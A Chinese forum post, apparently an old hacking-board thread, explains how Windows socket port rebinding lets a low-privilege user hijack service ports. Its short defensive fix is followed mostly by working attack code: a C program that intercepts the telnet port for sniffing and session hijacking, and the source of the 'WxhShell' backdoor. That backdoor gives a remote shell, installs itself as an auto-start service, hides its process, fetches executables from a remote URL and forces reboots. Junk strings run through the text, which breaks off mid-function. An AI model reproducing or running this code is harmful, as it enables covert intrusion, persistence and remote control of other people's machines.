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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: z<^LY]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [4bE"u  
GcA|JS=>  
  saddr.sin_family = AF_INET; 6@47%%,}  
MT)q?NcG  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _akjgwu  
YwZx{%f  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); w@6y.v1I{  
S9nn^vsK  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <-G3Qgm  
Y[>h |@  
  这意味着什么?意味着可以进行如下的攻击: O}2/w2n  
x;} 25A|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 & @_PY  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #D?w,<_8,  
;.=0""-IF  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Bf+~&I#E  
S5Pn6'w  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  U,fPG/9  
7(C)vtEO:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 vgg)f~  
mF4OLG3L0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Fe$o*r,  
n+<  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 jeA2y jAC  
Ad3TD L?  
  #include t.O~RE  
  #include 2S[:mnK  
  #include $/(``8li_  
  #include    ^u0y<kItX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   l>BM}hS  
  int main() Ic&YiATj  
  { 9oP  
  WORD wVersionRequested; Pd `~#!  
  DWORD ret; loBW#>  
  WSADATA wsaData; ~]<VEji  
  BOOL val; \FCPD.2s+  
  SOCKADDR_IN saddr; Z R~2Y?Wt9  
  SOCKADDR_IN scaddr; z 3Z8vq  
  int err; ]z=dRq  
  SOCKET s; =dQF}-{!  
  SOCKET sc; GlJOb|WOX  
  int caddsize; od,,2pwK+  
  HANDLE mt; Q MX  
  DWORD tid;   I?\P^f  
  wVersionRequested = MAKEWORD( 2, 2 ); q8GCO\(  
  err = WSAStartup( wVersionRequested, &wsaData ); :qShP3^  
  if ( err != 0 ) { ).Iifu|ks  
  printf("error!WSAStartup failed!\n"); KxFA@3  
  return -1; ?a?4;Y!  
  } {D,- Whi  
  saddr.sin_family = AF_INET; $t5>1G1j7  
   $0~1;@`rQ6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u2I@ fH/  
c% ?@3d  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "N}MhcdS  
  saddr.sin_port = htons(23); Gsm.a  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lx ~C{tl2  
  { V-63   
  printf("error!socket failed!\n"); nVP|{M  
  return -1; &=In  
  } H>-{.E1bG  
  val = TRUE; 3_{rXtT)'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 LW!4KA]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $g,v]MW  
  { 7$R^u7DZ  
  printf("error!setsockopt failed!\n"); M%$- c3x  
  return -1; 7WNUHLEt  
  } ? Z2`f6;W4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; p@@*F+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *A0d0M]cg  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =&: |a$C  
D'UIxc8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &IG*;$c!  
  { fK^;?4  
  ret=GetLastError(); 0R-W 9qP  
  printf("error!bind failed!\n"); *qr>x8OGp  
  return -1; PM)nw;nS  
  } F84<='K  
  listen(s,2); py%:,hi  
  while(1) Fg i;%  
  { Vf$$e)  
  caddsize = sizeof(scaddr); r( bA>L*mk  
  //接受连接请求 |Rm_8n%m  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Bf3 QB]9  
  if(sc!=INVALID_SOCKET) jq_ i&~S  
  { sy(.p^Z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Y3H5}4QD  
  if(mt==NULL) }LoMS<O-[  
  {  ;B{oGy.  
  printf("Thread Creat Failed!\n"); Ggbz  
  break; p& Kfy~  
  } z0|-OCmL  
  } rrG}; A  
  CloseHandle(mt); j-| !QlB  
  } Ou+bce  
  closesocket(s); u>*qDr* d  
  WSACleanup(); mRxeob  
  return 0; ^E".`~R  
  }   zd{sw}  
  DWORD WINAPI ClientThread(LPVOID lpParam) }-Jo9dNs  
  { 8= g~+<A  
  SOCKET ss = (SOCKET)lpParam; Ny2bMj.o  
  SOCKET sc; =>@ X+4Kb  
  unsigned char buf[4096]; |+qsO ;  
  SOCKADDR_IN saddr; Ve<f}  
  long num; Y&bO[(>1  
  DWORD val; ]2A2<Q_,  
  DWORD ret; VH vL:z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?A-f_0<0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   alBnN<UM  
  saddr.sin_family = AF_INET; /[n]t  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ";DozPU  
  saddr.sin_port = htons(23); =)a %,H  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +Eel|)Z*Q  
  { +-|}<mq  
  printf("error!socket failed!\n"); .:e#!~Ki  
  return -1; U~dqxR"Q  
  } b;NVvc(  
  val = 100; {aUv>T"c  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yw1Xxwc  
  { PF+Or  
  ret = GetLastError(); ]cW Q9  
  return -1; c5pK%I}O  
  } qac:"z'9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dTte4lh  
  { 12Fnv/[n'K  
  ret = GetLastError(); 'z@]hm#  
  return -1; Nz%pl!  
  } zvfdfQ-i  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) f lt'~fe  
  { l>J%Q^  
  printf("error!socket connect failed!\n"); ,mz7!c9H^a  
  closesocket(sc); 1&Ma`M('  
  closesocket(ss); 9Vt6);cA-]  
  return -1; S&;)F|-q  
  } )QmmI[,tq  
  while(1) A{\DzUV9,  
  { _^!C4?2!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?DnQU"_$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 cBHUa}:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7 Rc/<,X  
  num = recv(ss,buf,4096,0); 8 -w|~y';  
  if(num>0) T>&dPVmG,  
  send(sc,buf,num,0); W&m3"~BJ  
  else if(num==0) &]anRT#  
  break; Svs&?B\}{6  
  num = recv(sc,buf,4096,0); }R:oWR  
  if(num>0) #}8VUbJ  
  send(ss,buf,num,0); :JXcs39  
  else if(num==0) UY:Be8C A  
  break; ,3)JZM  
  } `G>|g^6%i  
  closesocket(ss); K5(T7S  
  closesocket(sc); QEmktc1 7  
  return 0 ; .&K?@T4l  
  } DG3Mcf@5  
%H}M[_f  
HS1{4/  
========================================================== "{jVsih0  
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下边附上一个代码,,WXhSHELL 9,}Z1 f\%  
s2nZW pIy  
========================================================== qz!^< M  
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#include "stdafx.h" rj<-sfs  
|J ^I8gx+  
#include <stdio.h> UG<<.1JL  
#include <string.h> o K&G  
#include <windows.h> YIYuqtnSJ  
#include <winsock2.h> 1DF8-|+  
#include <winsvc.h> E7]a#  
#include <urlmon.h> CY)[{r  
RLDu5  
#pragma comment (lib, "Ws2_32.lib") fqol-{F.V  
#pragma comment (lib, "urlmon.lib") n$"B F\eM  
B{1yMJA  
#define MAX_USER   100 // 最大客户端连接数 QX9['B<  
#define BUF_SOCK   200 // sock buffer <Oj'0NK-  
#define KEY_BUFF   255 // 输入 buffer xf{=~j/L  
p vu% p8  
#define REBOOT     0   // 重启 V>Nw2u!!  
#define SHUTDOWN   1   // 关机 =&vRT;6  
?/KkN3Y_j[  
#define DEF_PORT   5000 // 监听端口 r / L  
[g: KFbEY  
#define REG_LEN     16   // 注册表键长度 J5\2`U_FZ  
#define SVC_LEN     80   // NT服务名长度 Ly6) ,[q~  
SwhArvS  
// 从dll定义API "3NE%1T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^^gV@fz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `I5So-^&z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BctU`.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Fi#b0S  
:D=y<n;S+  
// wxhshell配置信息 l' a<k"  
struct WSCFG { |B@\Nf7  
  int ws_port;         // 监听端口 %>:d5"&Lbs  
  char ws_passstr[REG_LEN]; // 口令 ]N1gzHaS  
  int ws_autoins;       // 安装标记, 1=yes 0=no AW`+lE'?  
  char ws_regname[REG_LEN]; // 注册表键名 QdP)-Fx  
  char ws_svcname[REG_LEN]; // 服务名 +~M`rR*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gz"I=9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [moz{Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^2!l/(?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FtxmCIVIV~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8 @4)p.{5I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z T#j.v  
4w0Y(y  
}; ai(J%"D"  
h8tKYm  
// default Wxhshell configuration 0%<x>O  
struct WSCFG wscfg={DEF_PORT, \^rAH@  
    "xuhuanlingzhe", L&SlUXyt.c  
    1, uE{nnNZy  
    "Wxhshell", S,TK;g  
    "Wxhshell", <hbxerg  
            "WxhShell Service", Z'L}x6  
    "Wrsky Windows CmdShell Service", ^3  '7  
    "Please Input Your Password: ", H{3A6fb<  
  1, `FL!L59nz  
  "http://www.wrsky.com/wxhshell.exe", i@}/KT  
  "Wxhshell.exe" -I#1xJU  
    }; hE"a(i  
5w+X   
// 消息定义模块 L0H kmaH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p%v+\T2r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *@2?_b}A ^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *?Sp9PixP  
char *msg_ws_ext="\n\rExit."; `kd P)lI `  
char *msg_ws_end="\n\rQuit."; LL1HDG >l  
char *msg_ws_boot="\n\rReboot..."; \Q+<G-Kb.  
char *msg_ws_poff="\n\rShutdown..."; 45;{tS.z,B  
char *msg_ws_down="\n\rSave to "; b4$-?f?V  
nRmZu\(Ow|  
char *msg_ws_err="\n\rErr!"; "3"9sIZ(  
char *msg_ws_ok="\n\rOK!"; v]tbs)x;h  
%usy`4 2  
char ExeFile[MAX_PATH]; u^T{sQ"_  
int nUser = 0; \i-HECc"U  
HANDLE handles[MAX_USER]; 5};Nv{km^2  
int OsIsNt; ~97T0{E3  
Vb`m3  
SERVICE_STATUS       serviceStatus; p<\yp<g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e?%Qv+)W  
P d@y+|  
// 函数声明 ZlHN-!OZp  
int Install(void); 9WaKsdf  
int Uninstall(void); C~.7m-YW  
int DownloadFile(char *sURL, SOCKET wsh); }>\+eG  
int Boot(int flag); $:R"IqDG  
void HideProc(void); C< GS._V&  
int GetOsVer(void); !tkP!%w  
int Wxhshell(SOCKET wsl); x;,H>!r"i  
void TalkWithClient(void *cs); HY.?? 5MH  
int CmdShell(SOCKET sock); ewYZ} "o  
int StartFromService(void); ^w eU\  
int StartWxhshell(LPSTR lpCmdLine); v*+.;60_  
f)p c$~B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ppt`5F O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ULq#2l  
=FkU: q$  
// 数据结构和表定义 ^PY*INv  
SERVICE_TABLE_ENTRY DispatchTable[] = H]5%"(h  
{ v:c_q]z#B  
{wscfg.ws_svcname, NTServiceMain}, iX8& mUR  
{NULL, NULL} XOQj?Q7)U  
}; X8 uVet]D~  
w,(e,8#:  
// 自我安装 T!.6@g`x>  
int Install(void) >r] bfN,  
{ w) o^?9T  
  char svExeFile[MAX_PATH]; nmlQ-V-  
  HKEY key; Gma)8X#  
  strcpy(svExeFile,ExeFile); ob=GB71j55  
^&iUC&8W  
// 如果是win9x系统,修改注册表设为自启动 <^?64  
if(!OsIsNt) { zG|}| //}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?[>+'6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~C6Qp`VF  
  RegCloseKey(key); 9V*h:[6a(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \^9SuZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W]p)}#FR  
  RegCloseKey(key); kIS_ 6!  
  return 0; ydOJ^Yty  
    } HE0UcP1U  
  } >]?!c5=  
} *C*n( the  
else { :4]^PB@dl  
F.i%o2P3  
// 如果是NT以上系统,安装为系统服务 e1ru#'z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U5 ~L^  
if (schSCManager!=0) ;`IZ&m$  
{ ndEW$?W,  
  SC_HANDLE schService = CreateService <igsO  
  ( dx{ZG'@aH  
  schSCManager, c}K>#{YeB  
  wscfg.ws_svcname, lI HSy  
  wscfg.ws_svcdisp, 8w &A89  
  SERVICE_ALL_ACCESS, 5(kRFb'31F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `4E6&&E+S  
  SERVICE_AUTO_START, };%l <Ui;  
  SERVICE_ERROR_NORMAL, G%N3h'zDi  
  svExeFile, l n}2   
  NULL, o'S&YD  
  NULL, 6X{RcX]/  
  NULL, noz&4"S.{  
  NULL, z?V'1L1gM  
  NULL .<8kDyi m  
  ); #SiOx/  
  if (schService!=0) -DgJkyt+<  
  { F.:B_t  
  CloseServiceHandle(schService); :BFecS&i5  
  CloseServiceHandle(schSCManager); Gb]t%\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y{~[N yE  
  strcat(svExeFile,wscfg.ws_svcname); G2Zr (b')  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *,Bo $:(n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -:w+`x?XaB  
  RegCloseKey(key); .H,v7L,~88  
  return 0; H4#|f n  
    } XI#1)  
  } 8P8@i+[]W  
  CloseServiceHandle(schSCManager); R~nbJx$  
} 5c*kgj:x  
} Jr/|nhGl5  
+ k1|+zzS  
return 1; KrwG><+j  
} /(#;(]  
s&-m!|P  
// 自我卸载 rSGp]W|  
int Uninstall(void) nSWW^ ;  
{ x[]}Jf{t  
  HKEY key; ")%)e;V3  
!KiN} p  
if(!OsIsNt) { p-d2HXo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fI:j@Wug  
  RegDeleteValue(key,wscfg.ws_regname); Oy>u/g~  
  RegCloseKey(key); /:-8 ,`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EjZ_|Q  
  RegDeleteValue(key,wscfg.ws_regname); B J,U,!  
  RegCloseKey(key); 5r#0/1ym!  
  return 0; Jb. V4  
  } i"eUacBz/-  
} GjDs,9@f  
} t?& a?6:J  
else { n)]]g3y2  
)2 E7>SQc~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4`(b(DL]  
if (schSCManager!=0) y7)s0g>%H  
{ C'4gve 7!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E+>$@STv#  
  if (schService!=0) eC+S'Jgf  
  { 4~;x(e@S  
  if(DeleteService(schService)!=0) { {rp5qgVE<  
  CloseServiceHandle(schService); +k@$C,A  
  CloseServiceHandle(schSCManager); ,MH9e!  
  return 0; &YAw~1A  
  } ) `u)#@x  
  CloseServiceHandle(schService); _0Mt*]L }  
  } lO?dI=}]  
  CloseServiceHandle(schSCManager); $JH_  
} AOvn<Q  
} B2}|b^'I  
DB1F _!9  
return 1; |&O7F;/_  
} :i;iSrKy  
@@&([f  
// 从指定url下载文件 5 iz(R:P<  
int DownloadFile(char *sURL, SOCKET wsh) !nPwRK>  
{ xPuuG{Sm  
  HRESULT hr; lwY2zX&%)/  
char seps[]= "/"; =LP,+z  
char *token; :fxG]uf-P  
char *file; v61'fQ1Qg!  
char myURL[MAX_PATH]; O!Rw? Y  
char myFILE[MAX_PATH]; =Zg%& J  
Tc{n]TV  
strcpy(myURL,sURL); F;I %9-R  
  token=strtok(myURL,seps); H<hFA(M  
  while(token!=NULL) ,qo"i7c{:  
  { 3k5C;5  
    file=token; `pB]_"b  
  token=strtok(NULL,seps); 8IX:XDEQ  
  } Xup"gYTZQ  
$i:wS= w'  
GetCurrentDirectory(MAX_PATH,myFILE); 7Nw} }  
strcat(myFILE, "\\"); O.ce"5Y^  
strcat(myFILE, file); -#9Hb.Q;  
  send(wsh,myFILE,strlen(myFILE),0); nUgZ]ag=G  
send(wsh,"...",3,0); !9w;2Z]uum  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z= 'DV1A$,  
  if(hr==S_OK) &p."` C  
return 0; +{qX,  
else IvW%n(a8^  
return 1; uQ}0hs  
KGVAP  
} m'L7K K-Y)  
n$jOk |W  
// 系统电源模块 R')D~JJ<8a  
int Boot(int flag) _tl,-}~  
{ HQpw2bdy  
  HANDLE hToken; QG|KZ8uO  
  TOKEN_PRIVILEGES tkp; !I 7bxDzK$  
w2 L'j9  
  if(OsIsNt) { X2 Z E9b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M-K.[}}-d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ca&p;K9FR  
    tkp.PrivilegeCount = 1; r35'U#VMk?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zoj3w|G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wRc=;f  
if(flag==REBOOT) { Z5oX "Yx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d )}@0Q  
  return 0; .7BB*!CP  
} kpe7\nd=>  
else { 8-A * Jc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Kb<^Wdy4T  
  return 0; #ny&bJj  
} DeMF<)#  
  } v(H CnC  
  else { "8bxb  
if(flag==REBOOT) { b),_rr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q ;@:,^  
  return 0; Ik92='Z  
}  >%~E <  
else {  Tl.%7)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pB3dx#l  
  return 0; GM5s~,  
} 91Cg   
} D]I]I!2c  
,W'?F9Y\  
return 1; WHV]H  
}  2iUdTy$  
@ =RH_NB  
// win9x进程隐藏模块 l_G&#sQ0  
void HideProc(void) ;st$TVzkn  
{ .K`^n\T t  
Q( WE.ux)<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [WOLUb  
  if ( hKernel != NULL ) OVsZUmSG  
  { w3^>{2iqq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +["t@Q4IQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /<(d.6T[}:  
    FreeLibrary(hKernel); sK#)wjj\^  
  } ^#H%LLt  
BF*]l8p  
return; RVxlN*  
} 9(%ptnya  
e ;4y5i  
// 获取操作系统版本 ~W q[H  
int GetOsVer(void) z0;+.E!  
{ wIW]uo/=  
  OSVERSIONINFO winfo; 0@R @L}m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _,h hO  
  GetVersionEx(&winfo); v{ F/Bifo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yNk9KK)  
  return 1; bg\~"  
  else G)A5;u\P9  
  return 0; SwESDo)  
} ,UFr??ZKm  
/aepE~T  
// 客户端句柄模块 8oI)q4V  
int Wxhshell(SOCKET wsl) _v2 K1 1  
{ LTsG  
  SOCKET wsh; b 469  
  struct sockaddr_in client; 1mw<$'pm0  
  DWORD myID; eMf+b;~R  
9}`A_KzFx  
  while(nUser<MAX_USER) y0Pr[XZ  
{ Y-%S,91O  
  int nSize=sizeof(client); YadY?o./  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (ilU<Ht  
  if(wsh==INVALID_SOCKET) return 1; Dm': D  
u 89u#gCAC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K (yuL[p`  
if(handles[nUser]==0) 9,|&+G$  
  closesocket(wsh); * pN,@ZV$  
else ]9?_ m@Ihx  
  nUser++; +>N/q(l  
  } /8baJ+D"4\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %=J<WA6\  
Z7&Bn  
  return 0; LEMgRI`rf  
} ~y{(&7sM  
y: @[QhV  
// 关闭 socket { U a19~'>  
void CloseIt(SOCKET wsh) jyPY]r  
{ $smzP.V  
closesocket(wsh); ,,r%Y&:`6  
nUser--; 0(VQwGC[  
ExitThread(0); 4NxtU/5-sU  
} kStWsc$;+T  
e!}R1  
// 客户端请求句柄 LV{a^!f`y  
void TalkWithClient(void *cs) RRy3N )HR  
{ Gnmj-'x  
;pdW7  
  SOCKET wsh=(SOCKET)cs; =8 d`qS"  
  char pwd[SVC_LEN]; 93:s[b mx  
  char cmd[KEY_BUFF]; ^I9x@t  
char chr[1]; O&]Y.Z9,A  
int i,j; ( B$;'U<  
Kx6_Vp  
  while (nUser < MAX_USER) { ( 3IM7  
+\9Y;N y  
if(wscfg.ws_passstr) { '.oEyZA;o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 68R[Lc9q5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0Z#&!xTb  
  //ZeroMemory(pwd,KEY_BUFF); kc `Q- N}  
      i=0; ^r73(8{)  
  while(i<SVC_LEN) { t)XNS!6#]?  
HKx2QFB  
  // 设置超时 ~h?zK 1  
  fd_set FdRead; F?e_$\M  
  struct timeval TimeOut; RUm1;MWs  
  FD_ZERO(&FdRead); xlkEW&N&  
  FD_SET(wsh,&FdRead); LJYFz=p "  
  TimeOut.tv_sec=8; <oTIzj7f  
  TimeOut.tv_usec=0; N54U [sy  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L m"a3Nb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z+&mMP`-  
&H;0N"Fn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D#508{)  
  pwd=chr[0]; YY{S0jnhF  
  if(chr[0]==0xd || chr[0]==0xa) { |i7|QLUT  
  pwd=0; u!?.vx<qy  
  break; X*1vIs;[@  
  } > y"V%  
  i++; i}N'W V`!  
    } IIUoB!`  
f {AbCi  
  // 如果是非法用户,关闭 socket tM <6c+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?SRG;G1  
} Wd?(B4{  
".onev^(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O8"kIDr-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  Zm!T4pL  
4*d$o=wa  
while(1) { Co&#mVY4,  
nAG2!2_8  
  ZeroMemory(cmd,KEY_BUFF); ,IF3VE&r  
%WiDz0o  
      // 自动支持客户端 telnet标准   C,Q>OkSc  
  j=0; L,M=ogdb  
  while(j<KEY_BUFF) { <43O,Kx'Su  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C|bnUN  
  cmd[j]=chr[0]; P!3)-apP\  
  if(chr[0]==0xa || chr[0]==0xd) { ~CCRs7V/L  
  cmd[j]=0; =v]\{ .  
  break; K?o( zh;  
  } ~VYZu=p  
  j++; / E}L%OvE  
    } uP2e/a  
P|HxD0c^u  
  // 下载文件 `dekaRo  
  if(strstr(cmd,"http://")) { Q$_y +[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jL o(Uf  
  if(DownloadFile(cmd,wsh)) EK`}?>'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9"hH2jc  
  else ;]!QLO.bs^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [Z9 lxZ|  
  } |`vwykhezO  
  else { +9Q,[)e r  
z,dh?%H>X  
    switch(cmd[0]) { 1oU/gm$7\q  
  VF[$hs  
  // 帮助 QL/I/EgqC  
  case '?': { EMy>X  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @A32|p}  
    break; ayF+2(vch)  
  } iB4`w\-o  
  // 安装  wO<.wPa`  
  case 'i': { >,%or cN  
    if(Install()) x -;tV=E}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (U@Ks )  
    else rnAQwm-8O%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 709/'#- ^  
    break; b5i ehoA  
    } ,X`w/ 2O  
  // 卸载 M02 U,!di  
  case 'r': { _(7f0p  
    if(Uninstall()) L5[{taZ,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8MQb5( !  
    else +H{TV#+r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <n1panS  
    break; jK^Q5iD  
    } %eOO8^N  
  // 显示 wxhshell 所在路径 _DouVv>  
  case 'p': { ,,G[360  
    char svExeFile[MAX_PATH]; OLS/3c z  
    strcpy(svExeFile,"\n\r"); ]9 $iUA%Ef  
      strcat(svExeFile,ExeFile); C'7DG\pr  
        send(wsh,svExeFile,strlen(svExeFile),0); xovsh\s  
    break; @WCA 7DW!  
    } "5HSCl$r%  
  // 重启 -e4TqzRr  
  case 'b': { 6gs0Vm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5szJ.!(  
    if(Boot(REBOOT)) Xp+lpVcJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,njlKkFw^Z  
    else {  j iejs*  
    closesocket(wsh); t6uYFxE  
    ExitThread(0); S]&:R)#@  
    } /\{emE\]  
    break; uUiS:Tp]  
    } >4#: qIU  
  // 关机 9}wI@  
  case 'd': { XV}}A ^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7B<,nKd  
